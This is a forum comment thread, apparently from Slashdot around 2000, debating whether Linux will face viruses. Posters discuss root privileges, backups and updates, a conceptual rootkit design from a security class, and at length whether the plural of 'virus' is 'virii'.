    The other point that has been raised by many others in this discussion is the intrinsic multiuser aspect of Linux. The fact that a multiuser environment is all but mandatory with Linux makes people follow rules for access and priveleges on a system, which is great for stopping virii from propogating via priveleged access. Sure, Windows (among others) may provide the ability to function semi-multiuser but it's not nearly as enforced as on Linux, which means people can get lazy and run everything under a priveleged account. So Linux isn't necessarily better at being secure (don't hit me hehehe), but it is better at training people to be more secure. I'm sure if programmers and users of Windows based systems had enforced access/security in a multiuser system then Windows security holes would be patched much quicker, especially in the application layer. Programmers simply wouldn't be able to assume that their programs had complete access to the system - they would have to write checks into their code to make sure of it, and users would have to enable access for programs that required priveleged access. That might take a little bit longer for users to install/run programs, but it's much better than the current "double-click suck it and see" method where you've got NFI how to restrict what a single program can access on your system.

    --------------------------------------------------
    email .torq
    --


    email me or not.
  174. Re:plural of virus-- interesting entymological thi by Savage+Henry+Matisse · · Score: 1
    sorry-- that should be "etymological" not "entymological"-- my bad

    Me can say somethun lotsa timez, d00zersmartz, but that's not sufficient to make it "correct".

    So what makes a piece of language (or any other quasi-standard, for that matter) correct if not popular support? Maybe English teachers all over the US get together once a year and decide what is and is not correct English, right? I know, I know-- such a symposium is entirely unnecessary: we have the ACs to hand down the absolute, final word on the right way to do things. It's really weird that so many folks who know everything won't sign their name to their divine declarations.

    --
    Much Love,
    "S"HM
    *****
    (I refuse to spellcheck out of contempt for your belief system)
  175. I'm a troll! by crush · · Score: 1

    I didn't realize until the above commented got moderated as such - oh well, here goes!

  176. How about Emacs? by tilly · · Score: 2

    My understanding is that their Lisp implementation has enough security built in to avoid the problem...

    :-)

    Cheers,
    Ben

    --
    My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
  177. Re:plural of virus-- interesting entymological thi by Anonymous Coward · · Score: 0

    I'm all for the evolution of language, but English usage is determined by usage over time by published sources. Magazines, newspapers, books, etc. They've all accepted "octopi", and almost all have given up on "these data", but all credible publications I know of (newpapers, books, magazines) still use "viruses" only, so it is too soon to call virii "accepted".

  178. From China? by Anonymous Coward · · Score: 0

    Isn't that where the uberdistro, LinuxOne is supposed to be making inroads?

    In other news, I have just received some disturbing information. It appears that the champions of Free Speach (TM) and Open Source may be hypocrites.

    First, I appreciate the contribution of source code for Slash, but am disturbed that "its a lower priority to me than it ought to be." The source code is heinously out of date, and I can't see why it has yet to see as much as a snapshot posted of a more updated version.

    Second, even more disturbing, is the the gag order that I has just been brought to my attention. As the story goes (I am going only by what I am told from the other person involved), an aquaintance of mine has recently been sent an email in which CmdrTaco himself has ordered the aforementioned aquaintance to refrain from posting. Furthermore, the letter alledgedly contains a threat of banning an entire network's access to the entire Slashdot site. I am reminded of various sources, not the least of which is the Bible, which contain the same sentiment as Sir William Blackstone when he rightfully stated that "it is better that ten guilty persons escape than that one innocent suffer."

    Sorry for the off topic, but, like a facist dictatorship, there is no area where one may openly post his or her view of the regime.

  179. Re:plural of virus-- interesting entymological thi by Savage+Henry+Matisse · · Score: 1
    I agree that, in a strict, Oxford English Dictionary-sense of English, correct usage is established by tracking verified, credible uses of a term in print. But, I'm not so sure that the OED's method is necessarily all that accurate. Basically, it means limiting our language to that which the mainstream print-media believes is correct, which has some obvious weaknesses, primarily 1) it cuts out a lot of the once fringe-media which has become our cultural bread-&-butter (e.g. the Web, TV/radio/cable news, etc.) and 2) the print-media is just as fallible as any other conduit-of-culture (e.g. . . . do I even need cite examples?).

    "Virii" is a good usage, here, primarily because it has a history in Geek culture. The fact if it being both a pretentious and incorrect usage says something important about the difference between a hacker and a cracker, and speaks volumes of the awkward self-consciousness that is our badge and shackles. The difference between "viruses" and "virii" is thus meaningful-- it encapsulates a subtle cultural/historical lesson about late 20th Century Nerddom.

    --
    Much Love,
    "S"HM
    *****
    (I refuse to spellcheck out of contempt for your belief system)
  180. What about kernel modules? by cpeikert · · Score: 1

    In a class called "Computer and Network Security" taught by Ron Rivest, a group of students did an interesting project on how one might completely destroy the security of a Linux machine. To wit:

    One could write a kernel module that doesn't allow itself to be listed with lsmod. It even steps on certain system calls so that the file containing it doesn't get listed with ls. It also adds itself to several key executables but alters the system calls so that the file sizes don't appear to change. It provides a backdoor that allows a cracker to own the machine remotely, and disables any kind of logging that would result from the cracker's actions. This module could be sent through any kind of buggy network daemon, and spread like a worm. The machine's admin would have a hell of a time even discovering that the machine was infected! It seems that running a virus in kernel space gives you significantly more power than even running it as root.

    Of course, the students didn't implement this virus/trojan/worm - it would require some crazy skillz, but they really had their bases covered when it came to design.

    It should be noted that this kind of thing could probably pulled off on many different types of operating systems, and might be even more successful since commercial systems have more homogenous kernels (I can imagine all kinds of "unresolved symbol" errors with all the custom Linux kernels out there...)

  181. "virii" by Anonymous Coward · · Score: 0

    Please.. the plural of "virus" is NOT "virii". It seems that very few experts in the field of computer viruses really calls them "virii", the term seems to have come from "script kiddies". At least, AFAIK. If anyone knows differently, please tell me, I'd really like to know if I'm wrong here..

    Sorry, it's one of my pet peeves.

    1. Re:"virii" by Anonymous Coward · · Score: 0

      in biology, virii and viruses are acceptable words (sim. radius, radii). its personal preference similar to the fact some people say DAYTA and some say DARTA.

      (lets call the whole thing off.)

    2. Re:"virii" by Anonymous Coward · · Score: 0
      In biology, virii and viruses are acceptable words (sim. radius, radii).
      Wrong.

      Radius went to radii because it was a regular 2nd declension masculine. You're posting that if virus went to virii, that radius must thus go to radiii. That's bullshit.

      But virus was not a 2nd decl masculine, so you're still full of it. You can start with realizing that virus was neuter. Then you can note that it was not a count noun. Then you can notice how it was either completely irregular, or as the records show, was in the 4th declension.

      You lose. Completely.

  182. Re:pretty safe--Backup by phantomcow · · Score: 1

    Backup-- You did back up his files didn't you? Perhaps a cron script that tar-bzips all files from a users home directory into an area with a different user ID would be useful in linux distributions.

  183. Completely unrelated response by Anonymous Coward · · Score: 0

    Hey, that's funny. Your sig is almost exactly the same as my infoline on IRC, which is . :D

    -emufreak

  184. Linux viris = DoA by Felinoid · · Score: 1

    The original pleage was trogens but they died quickly from being easy to track down...
    Linux viruses would be akin to Dos trojens.. easy to track down.. there is a REASON why *nix has a sereous trojen problem and vertually no virus problem while Windows has exactly the reverse..

    While trojens can be tracked down easly *nix viri need root access.. Many users prefer to download source code.. true SOME go for binarys...

    Also viri in order to move from system to system a binary has to find it's way from a victom machine to a new victom.. Sence users can download binarys from the original author or from a "trusted source" or a mirror of same the exposure is limited.

    Back in the good old BBS days you downloaded from BBSes.. the binary on the BBS is unlikely to have come directly from the author but may have changed hands. The chances of passed through an infected computer is reasonable. The infected user will disinfect his system but the virus will remain on the BBS laying wait for a new victiom.

    Sence users now download from a reasonable secure source the chances of the virus spreeding is reduced considerably. This is true for Windows and *nix. Not vanished but it dose make tracking down and permenently terminating a virus a likely event.

    Archives now a days tend to contain source so if a user wants a binary they may have to go to the original author.

    Finnaly if you do try to run software from root many applications issue scary warnings about doing so. If more programmers did this that would be enough to keep any newbe from trying to run stuff from root.

    This dosn't compleatly eliminate viruses.. Viruses can (and as Linux grows in popularity WILL) attempt to use defects in Linux security to gain root. As this happends the defects will be repaired. Some viruses will attempt brute force attacks and Linux will be modifyed to detect such attempts and KILL the offending code.. and leave a user e-mail saying "Virus in ...."

    Basicly viruses in Linux will exist but have a short lifespan and a difficulty spreeding in the first place. Windows will also face thies problems.

    Instead of worse viruses for Linux I see more efforts to explote Windows defects as Microsoft seems less intrested in fixing them. More e-mail viruses...

    I also see attack programs phasing out viruses.. The reasonning is once trojens could sereously criple whole groups of users.. not anymore.. they are easly cought and distoryed... viruses replaced them as viruses can not be easlly cought but now viruses can be thwarted and tracked down, attack programs run on the offending users machine issolated fron any anti-whatever software...
    It also gives the attacker that personal feel.. he can keep a bodycount. A virus in the wild is untracable even by the author. He only knows of his suceess from newsgroups... if his virus dies he may never know what went wrong.

    Just my opinion... and of course.. I could be wrong... but thats allways true :)

    --
    I don't actually exist.
  185. virii a corporate scam? by pixel+fairy · · Score: 1
    think about it, they make a lot of money. i would not be surprised if many of them came out of the companies that make the "protection" software. (norton, symantic etc)

    i think some of these companies would not like seeing reliable free software hit the mainstream because that would distroy thier market.

    one more reason not to use commercial, closed source software in the first place.

  186. Re:don't just make one large partition by alangmead · · Score: 1

    A program run amok can fill up your entire drive, rather than just its partitions. It increases the likelyhood that files used together might be on widely different areas of the disk; increasing access time.

    Now that you have a system in place and can make some estimates on the amount of disk space used, back it all up onto tape, repartition the disk, and restore.

    And if you don't have a tape drive or other backup media, get one. You'll need it anyway.

  187. Cron Backup? by DrMaurer · · Score: 1

    Uhh, okay, backup is a last resort, at best, against data loss, you prefer this not to happen at all, so get the backup stuff out of your head. Each lost file amounts to 2.5x the amount to recreate the file, with no backup, which is really kind of silly for a huge (hell, even small-large) corperation to do on all their machines. They usually save all files on a network drive, anyway.

    Okay, but how about this. Assume a desktop machine with *enough* hard drive space, once a day, at about, say, 5 am or some absurdly strange time for the user to be working, a cron script is started with a cp /usr/* /root/backup or however the syntax goes (I lost my linux partition and I haven't bothered to get it back, and I'm still a newbie, so). I'm sure the files could be copied to a network drive for a "better" (tape, CD-R, whatever) backup method.

    I mean, windows doesn't work this way, but if all the users made sure to plop their docs in "c:\My Documents" a similar windows script could be made (using scheduler and a batch file is how I would do it).

    I still think prevention is better, I mean, I don't want the bank robbed every day just because of FDIC insurance or my car broken into because the insurance company will pay for it, ya know?

    later

    --
    Dan
  188. They laughed about goodtimes by Anonymous Coward · · Score: 0

    until MS proved them that it was possible to catch a virus through email.

  189. Hacker/Cracker, how about 'Quacker'? by Anonymous Coward · · Score: 0
    Normally I use the terms hacker and cracker as they are defined in the older versions of the jargon file, but that is geting just a little bit outdated.

    Over the last few years, the terms hacker and cracker have tended to merge in the minds of the public ( to the digust of both hackers *and* crackers ), so arguably, a new term is needed.

    My suggestion is : how about 'Quacker'?

    Quacker : an individual who uses their computer for intentionally malicious and/or destuctive activities, as oposed to hackers ( who love to write code ) or crackers ( who love to test system security ).

    While we are at it, we could also start 'Quack' magazine, as a parody of Phrack. My main problem with most "script kiddies" is that they take themselves way too seriously.

    [Elmer Fudd mode]

    "He, he, he. You wascally compooter quackers! Don't you know it's quacker hunting season!"

    [/Elmer Fudd mode]

    Just another mindless attempt at humor.

    1. Re:Hacker/Cracker, how about 'Quacker'? by Antifud4all · · Score: 1

      Compainies using linux might need to *duck* to prevent quackers infesting and nesting in their systems. With this possible sheels might become more and more prevelent in large systems. This would just serve to put more and more stuff into the quackers unix box. I think it would be very ironic if they used a feathery Perl script. Although I know little on the topic. I know enough to make really bad jokes. Cheese forever!!!!

      --
      Believe in the power of one.
  190. Plurals - a summary of relevant information by Old+Wolf · · Score: 1

    Firstly, the plural of the English word 'virus' can only possibly be 'viruses'. In English, -us words derived from Latin form the plural by appending -es, and -us words derived from Greek form the plural by exchanging -us for -i.

    However, the Latin word 'virus' (from which the English 'virus' is derived) is not subject to English pluralisation rules.

    There is a lot of doubt on the issue of the Latin plural because:
    i) Latin 'virus' was a mass noun, meaning 'some poison', so was never actually used as a plural.
    ii) in Latin, the same word can have different plurals depending on its usage. (This is where the terms 'genitive', 'accusative' etc. come in).
    iii) It's thousands of years since the language was natively spoken anyway; and in those days no-one cared about standardisation of the language, so who the hell knows what it should have been!

    (It is also relevant that using a Latin plural in English for 'virus' is inappropriate, as the Latin meaning of 'virus' is different to the English meaning of the word).

    Notwithstanding the three reasons just given, there are a few tries at forming a Latin plural for 'virus', each of which is arrived at by applying 'rules' of Latin grammar which were deduced by reading ancient works (which had fairly loose grammar anyway).

    i) virii. Note that this is viri with a macron over the 'i' (indicating long vowel sound), and not a diphthong as in English. It is infact pronounced like the English word 'wiry' (just to confuse things more). Similar Latin nouns occur in the 'troll' that I am replying to.
    ii) virora, vire, viruus. These come from attempting to classify 'virus' as a different declension ('declension' is the technical term for what sort of noun a noun is, for the purposes of pluralisation; there are five groups), and applying that declension's pluralisation rule. Note that the 'uu' in 'viruus' is a long vowel sound, like the 'ii' in 'virii'.

    Conclusion: when writing English, use the English plural 'viruses'. When writing Latin, you will never need a plural of the word.

  191. What protects us... by HamNRye · · Score: 2

    Linux, where you get more Geek Chic for finding the bug than exploiting it.

    Viruses are on the way, and will most likely be even more attractive for Linux than WinXX. By writing a WinXX virus, I have to fool a virus checker, and even then I can generally only affect the clients of an organization. And if you have the "." in your path?? You're a great target. Plus, I can just start taking out your linux machines, your print servers, your databases, have a trojan report back keystrokes and network stats until it blows up?? Doable. And the virus will most likely not be open source.

    Plus, what about companies like Norton?? I have this sneaking suspicion that they actually create some of these viruses, both to increase the value of their own product, and to devalue the product of a competitor. (You'd be surprised at the viruses I've seen that only one virus checker can find when they all have updated defs.) I know that this delves into the realm of conspiracy theory, but if theres a Dr. Solomon's for linux, there will have to be a virus for it to find. And if linux gets a good mindshare....

    P.S. I wrote quite a bit of Unix virii back in the day, and it ain't that difficult.

    Just My 0.02
    Jason

  192. So what can you do? by guran · · Score: 1
    Thanks, Jennifer, for saving me the trouble to write the same post myself;) Of course there will be Linux viruses. Virus vulnerability is only partly a question of OS choise. User awareness is *the* most important factor.

    A computer savvy person does not run a linux box as root, or a NT box as administrator.
    A computer savvy person uses an upgraded anti virus program and keeps track of discovered bugs and security flaws.
    A computer savvy person knows that bad things happen sooner or later and backs up data.

    However, Linux is slowly entering the realm of the non-geeks.
    They will run their system as preinstalled.
    They will not update their system when a bug is discovered (and fixed)
    They will run as root if it saves them the trouble of remembering *two* passwords.
    Hey, these are the people who has their password on a post it note beside the screen!

    Security in an open source system works because the user is coresponsible for the system

    Windows main security problem is that it is designed to fit the both the clueless and the pro.

    Now for the big quetion:
    How can "we" avoid that Linux falls into the same trap? Is it better that Linux remains a OS for the pros, or is it possible to make a secure "install and forget" open source system?

    --

    All opinions are my own - until criticized

    1. Re:So what can you do? by PybusJ · · Score: 1
      However, Linux is slowly entering the realm of the non-geeks.
      They will run their system as preinstalled.
      They will not update their system when a bug is discovered (and fixed)
      They will run as root if it saves them the trouble of remembering *two* passwords.

      These are all problems that can be (pretty easily) solved with distributions aimed at end users. It would take little difficulty to config a box to allow sessions at the console to login without requiring a user password, and for the programs which alter system settings to ask for an administration password then su to root as necessary. This would not put a lot of obstacles in the way of a non-geek. In fact this is the exact way that my SGI O2 can be set up out of the box.

      Both Debian and Redhat already have package management utilities which can automatically check for new upgrades. There is no reason why these ahouldn't be built into the system so that (at least in the case of security fixes) any installation connected to the network will periodically check and upgrade. This might go against the grain to a hard-core geek, but would suit a consumer dist just fine.

      Hey, these are the people who has their password on a post it note beside the screen!

      Personally, I don't see why people make such a fuss over this point. People should take appropriate care of their passwords. In the case of a personal system, with little confidential information, keeping the password to hand may well be acceptable. If an adversary is prepared to break into your home to get at your computer, an inexperienced user wouldn't have much of a chance anyway.

      In my mind, for instance, it is better that a workstation user carries there password in their wallet than chooses the name of their dog for fear of forgetting anything more secure. On the other hand if I were to leave the root passwords to our servers on a scrap of paper in my coat pocket, then as the system admin I would be behaving incompetently. Security is a matter of balancing the threats, and potential damage, against convenience of use. Too many annoying security rules which users can't see the need for only leads to laxness.

      John Pybus

    2. Re:So what can you do? by guran · · Score: 1
      Well written, just a few points

      ...package management utilities which can automatically check for new upgrades.

      Auto-upgrades is also a wonderful target for virus makers. The difference between "Nothing may be installed on my machine unless I say so" and "Nothing potentially improper may be installed on my machine unless I say so" is huge. And if the unexperienced user (heck me too) got used to OK:ing *some* upgrades, it would be all too easy to press that OK button once too many.

      Regarding the password rant, I think we agree. I just used the first example of non responsible behaviour that sprang to mind, sorry.

      What I wanted to stress was that viruses, crashes and bugs are a much greater problem for the inexperienced user, regardless of system. Also that the factor that makes an open source system more secure for an expert is not valid for the average user.

      --

      All opinions are my own - until criticized

  193. Re:Kaspersky is out of his field... (ot) by chialea · · Score: 1

    well, I don't know what version of RH you're running, but the easiest way for 6.1 (which, as far as I'm concerned, is really the first release that I really like) is this:
    $ su
    Password: *******
    # linuxconf

    :)

    from here, try Config | Networking | Client Tasks | PPP/SLIP/PLIP
    it's VERY easy to set up from there -- even on my laptop, where the modem changes frequently, as well as the area code and ISP.

    if you run gnome, you'll notice that in [BIGFOOT] | Panel | Add Applet | Network there is something called Modem Lights. click on the little button. it dials for ANY user if the check box is checked in linuxconf.

    hope this helps.

    Lea

  194. That's not what i meant by hoss10 · · Score: 1

    I wasn't talking about friends having root access! I wasn't talking about any virus altering the partition table! I was talking about if a virus is run in dos or from the mbr or wherever it can put files in a linux filesystem regardless of whatever passwords or whatever you have.
    This is damned obvious. At this stage THE KERNEL HASN'T STARTED YET!!!
    Will people stop assuming that people who say "unpopular" things (like a linux machine can be compromised with a big enough sledgehammer) are pig ignorant newbies (which i'm NOT)

  195. I did! by Anonymous Coward · · Score: 0

    And it was realy funny. I wonder how many people (newbies) had to reboot after that :^D

  196. Linux Virii A Good Thing? by Anonymous Coward · · Score: 0

    With the amount of complaining and nagging i have seen coming from the general LiNUX population in the last few months, a few virii don't look like that much of a bad thing to have.

    I am sure i am no better for complaining about it myself but i am sick of hearing about the crap that is circulating. So much for the rules of advocacy!!!


    p.s: it is my understanding that the plural form for anything of latin origin ending in s is converted to i. eg cactus = cactii. (thought it was worth the note =0)


    ---------------------------------
    Better watch out for that penguin. i've heard he smashes windows.
    1. Re:Linux Virii A Good Thing? by Anonymous Coward · · Score: 0
      it is my understanding that the plural form for anything of latin origin ending in s is converted to i. eg cactus = cactii
      You're completely wrong. There is no -us word that goes to -ii. And it's much more complex then you think. Latin had five declensions.
  197. Re:plural of virus-- interesting entymological thi by Anonymous Coward · · Score: 0

    Wrong. Octopi is not a word. Get a clue.